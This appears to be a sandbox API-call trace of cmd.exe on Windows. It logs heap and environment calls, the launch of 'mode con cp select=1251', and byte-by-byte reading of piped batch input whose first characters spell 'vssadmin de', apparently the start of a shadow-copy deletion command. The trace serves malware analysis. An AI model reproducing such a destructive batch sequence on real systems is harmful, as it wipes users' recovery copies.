	[0162.133] RtlReAllocateHeap (Heap=0x21a42450000, Flags=0x0, Ptr=0x21a42468e80, Size=0x42) returned 0x21a42468e80
	[0162.133] GetProcessHeap () returned 0x21a42450000
	[0162.133] RtlSizeHeap (HeapHandle=0x21a42450000, Flags=0x0, MemoryPointer=0x21a42468e80) returned 0x42
	[0162.133] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff640c9bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc
	[0162.133] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0162.133] GetProcessHeap () returned 0x21a42450000
	[0162.133] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x1b6) returned 0x21a424577c0
	[0162.133] GetProcessHeap () returned 0x21a42450000
	[0162.133] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x35c) returned 0x21a42468ee0
	[0162.142] GetProcessHeap () returned 0x21a42450000
	[0162.142] RtlReAllocateHeap (Heap=0x21a42450000, Flags=0x0, Ptr=0x21a42468ee0, Size=0x1b8) returned 0x21a42468ee0
	[0162.142] GetProcessHeap () returned 0x21a42450000
	[0162.142] RtlSizeHeap (HeapHandle=0x21a42450000, Flags=0x0, MemoryPointer=0x21a42468ee0) returned 0x1b8
	[0162.142] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff640c9bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0162.142] GetProcessHeap () returned 0x21a42450000
	[0162.142] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0xe8) returned 0x21a42457980
	[0162.144] GetProcessHeap () returned 0x21a42450000
	[0162.144] RtlReAllocateHeap (Heap=0x21a42450000, Flags=0x0, Ptr=0x21a42457980, Size=0x7e) returned 0x21a42457980
	[0162.145] GetProcessHeap () returned 0x21a42450000
	[0162.145] RtlSizeHeap (HeapHandle=0x21a42450000, Flags=0x0, MemoryPointer=0x21a42457980) returned 0x7e
	[0162.146] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0162.146] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0xd72279f050, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xd72279f050) returned 0x21a42457a10
	[0162.146] GetProcessHeap () returned 0x21a42450000
	[0162.146] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x0, Size=0x28) returned 0x21a424564e0
	[0162.146] FindClose (in: hFindFile=0x21a42457a10 | out: hFindFile=0x21a42457a10) returned 1
	[0162.146] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0xd72279f050, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xd72279f050) returned 0x21a42456510
	[0162.147] GetProcessHeap () returned 0x21a42450000
	[0162.147] RtlReAllocateHeap (Heap=0x21a42450000, Flags=0x0, Ptr=0x21a424564e0, Size=0x8) returned 0x21a424564e0
	[0162.147] FindClose (in: hFindFile=0x21a42456510 | out: hFindFile=0x21a42456510) returned 1
	[0162.147] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1
	[0162.147] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2
	[0162.147] ??_V@YAXPEAX@Z () returned 0x1
	[0162.147] GetConsoleTitleW (in: lpConsoleTitle=0xd72279f5d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0162.156] GetProcessHeap () returned 0x21a42450000
	[0162.156] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x21c) returned 0x21a424690b0
	[0162.156] GetConsoleTitleW (in: lpConsoleTitle=0x21a424690c0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0162.156] GetProcessHeap () returned 0x21a42450000
	[0162.156] RtlReAllocateHeap (Heap=0x21a42450000, Flags=0x0, Ptr=0x21a424690b0, Size=0x8c) returned 0x21a424690b0
	[0162.156] GetProcessHeap () returned 0x21a42450000
	[0162.156] RtlSizeHeap (HeapHandle=0x21a42450000, Flags=0x0, MemoryPointer=0x21a424690b0) returned 0x8c
	[0162.156] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - mode  con cp select=1251") returned 1
	[0162.166] GetProcessHeap () returned 0x21a42450000
	[0162.166] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a424690b0) returned 1
	[0162.166] InitializeProcThreadAttributeList (in: lpAttributeList=0xd72279f4f0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xd72279f3e0 | out: lpAttributeList=0xd72279f4f0, lpSize=0xd72279f3e0) returned 1
	[0162.166] UpdateProcThreadAttribute (in: lpAttributeList=0xd72279f4f0, dwFlags=0x0, Attribute=0x60001, lpValue=0xd72279f3cc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xd72279f4f0, lpPreviousValue=0x0) returned 1
	[0162.166] GetStartupInfoW (in: lpStartupInfo=0xd72279f480 | out: lpStartupInfo=0xd72279f480*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) 
	[0162.166] GetProcessHeap () returned 0x21a42450000
	[0162.166] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x20) returned 0x21a42456510
	[0162.166] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38
	[0162.166] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0162.166] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0162.166] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0162.166] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0162.166] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0162.166] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0162.166] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0162.166] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0162.166] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0162.167] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0162.168] GetProcessHeap () returned 0x21a42450000
	[0162.168] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42456510) returned 1
	[0162.168] GetProcessHeap () returned 0x21a42450000
	[0162.168] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x12) returned 0x21a42456510
	[0162.168] _get_osfhandle (_FileHandle=1) returned 0x254
	[0162.168] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0162.168] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.168] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0
	[0162.168] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode  con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xd72279f410*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="mode  con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xd72279f3e8 | out: lpCommandLine="mode  con cp select=1251", lpProcessInformation=0xd72279f3e8*(hProcess=0x9c, hThread=0x98, dwProcessId=0xdcc, dwThreadId=0xdd0)) returned 1
	[0162.367] CloseHandle (hObject=0x98) returned 1
	[0162.367] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0162.367] GetProcessHeap () returned 0x21a42450000
	[0162.367] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42456570) returned 1
	[0162.367] GetEnvironmentStringsW () returned 0x21a42456530*
	[0162.367] GetProcessHeap () returned 0x21a42450000
	[0162.367] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0xafe) returned 0x21a42469460
	[0162.368] FreeEnvironmentStringsA (penv="=") returned 1
	[0162.368] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff857560000
	[0162.368] GetProcAddress (hModule=0x7ff857560000, lpProcName="NtQueryInformationProcess") returned 0x7ff8576056b0
	[0162.368] NtQueryInformationProcess (in: ProcessHandle=0x9c, ProcessInformationClass=0x0, ProcessInformation=0xd72279e8e8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xd72279e8e8, ReturnLength=0x0) returned 0x0
	[0162.368] ReadProcessMemory (in: hProcess=0x9c, lpBaseAddress=0xfc9467b000, lpBuffer=0xd72279e920, nSize=0x7a0, lpNumberOfBytesRead=0xd72279e8e0 | out: lpBuffer=0xd72279e920*, lpNumberOfBytesRead=0xd72279e8e0*=0x7a0) returned 1
	[0162.660] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0
	[0168.701] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0xd72279f368 | out: lpExitCode=0xd72279f368*=0x0) returned 1
	[0168.703] CloseHandle (hObject=0x9c) returned 1
	[0168.703] _vsnwprintf (in: _Buffer=0xd72279f538, _BufferCount=0x13, _Format="%08X", _ArgList=0xd72279f378 | out: _Buffer="00000000") returned 8
	[0168.705] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0168.705] GetProcessHeap () returned 0x21a42450000
	[0168.706] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42469460) returned 1
	[0168.710] GetEnvironmentStringsW () returned 0x21a42469460*
	[0168.710] GetProcessHeap () returned 0x21a42450000
	[0168.710] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0xb24) returned 0x21a42469f90
	[0168.710] FreeEnvironmentStringsA (penv="=") returned 1
	[0168.710] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0168.710] GetProcessHeap () returned 0x21a42450000
	[0168.710] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42469f90) returned 1
	[0168.710] GetEnvironmentStringsW () returned 0x21a42469460*
	[0168.711] GetProcessHeap () returned 0x21a42450000
	[0168.711] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0xb24) returned 0x21a42469f90
	[0168.711] FreeEnvironmentStringsA (penv="=") returned 1
	[0168.711] GetProcessHeap () returned 0x21a42450000
	[0168.711] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42456510) returned 1
	[0168.711] DeleteProcThreadAttributeList (in: lpAttributeList=0xd72279f4f0 | out: lpAttributeList=0xd72279f4f0) 
	[0168.711] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0169.202] ??_V@YAXPEAX@Z () returned 0x1
	[0169.203] _get_osfhandle (_FileHandle=1) returned 0x254
	[0169.203] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0169.203] _get_osfhandle (_FileHandle=1) returned 0x254
	[0169.203] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff640c9fc08 | out: lpMode=0x7ff640c9fc08) returned 0
	[0169.203] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.203] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff640c9fc0c | out: lpMode=0x7ff640c9fc0c) returned 0
	[0169.203] GetConsoleOutputCP () returned 0x4e3
	[0169.468] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff640c9fbb0 | out: lpCPInfo=0x7ff640c9fbb0) returned 1
	[0169.469] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0169.644] GetProcessHeap () returned 0x21a42450000
	[0169.644] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42457980) returned 1
	[0169.644] GetProcessHeap () returned 0x21a42450000
	[0169.644] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42468ee0) returned 1
	[0169.644] GetProcessHeap () returned 0x21a42450000
	[0169.644] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a424577c0) returned 1
	[0169.644] GetProcessHeap () returned 0x21a42450000
	[0169.644] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42468e80) returned 1
	[0169.644] GetProcessHeap () returned 0x21a42450000
	[0169.644] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42456490) returned 1
	[0169.644] GetProcessHeap () returned 0x21a42450000
	[0169.644] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42458e90) returned 1
	[0169.644] GetProcessHeap () returned 0x21a42450000
	[0169.644] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42457610) returned 1
	[0169.644] GetProcessHeap () returned 0x21a42450000
	[0169.644] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a424575e0) returned 1
	[0169.644] GetProcessHeap () returned 0x21a42450000
	[0169.644] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42457340) returned 1
	[0169.645] _vsnwprintf (in: _Buffer=0x7ff640ca7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xd72279f918 | out: _Buffer="\r\n") returned 2
	[0169.645] _get_osfhandle (_FileHandle=1) returned 0x254
	[0169.645] GetFileType (hFile=0x254) returned 0x3
	[0169.645] _get_osfhandle (_FileHandle=1) returned 0x254
	[0169.645] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0169.645] WriteFile (in: hFile=0x254, lpBuffer=0x7ff640c99970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xd72279f8e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesWritten=0xd72279f8e8*=0x2, lpOverlapped=0x0) returned 1
	[0169.645] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff640c9bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0169.645] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21a42620080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0169.645] _vsnwprintf (in: _Buffer=0x21a42630060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xd72279f928 | out: _Buffer="C:\\WINDOWS\\system32") returned 19
	[0169.645] _vsnwprintf (in: _Buffer=0x21a42630086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xd72279f928 | out: _Buffer=">") returned 1
	[0169.645] _get_osfhandle (_FileHandle=1) returned 0x254
	[0169.645] GetFileType (hFile=0x254) returned 0x3
	[0169.645] _get_osfhandle (_FileHandle=1) returned 0x254
	[0169.645] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21
	[0169.645] WriteFile (in: hFile=0x254, lpBuffer=0x7ff640c99970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xd72279f918, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesWritten=0xd72279f918*=0x14, lpOverlapped=0x0) returned 1
	[0169.645] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.645] GetFileType (hFile=0x248) returned 0x3
	[0169.645] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.645] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.645] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.646] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c30, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1
	[0169.646] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.646] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.646] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.646] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c32, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1
	[0169.646] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.646] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.646] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.646] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c34, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1
	[0169.646] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.646] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.646] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.646] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c36, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1
	[0169.646] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.646] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.646] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.646] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c38, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1
	[0169.646] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.646] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.646] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.646] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c3a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1
	[0169.646] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.646] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.646] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.646] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c3c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1
	[0169.646] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.646] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.647] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.647] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c3e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1
	[0169.647] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.647] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.647] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.647] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c40, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1
	[0169.647] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.647] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.647] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.647] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c42, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1
	[0169.647] _get_osfhandle (_FileHandle=0) returned 0x248
	[0169.647] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0169.647] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0169.647] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c44, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1
	[0169.647] _get_osfhandle (_FileHandle=0) returned 0x248
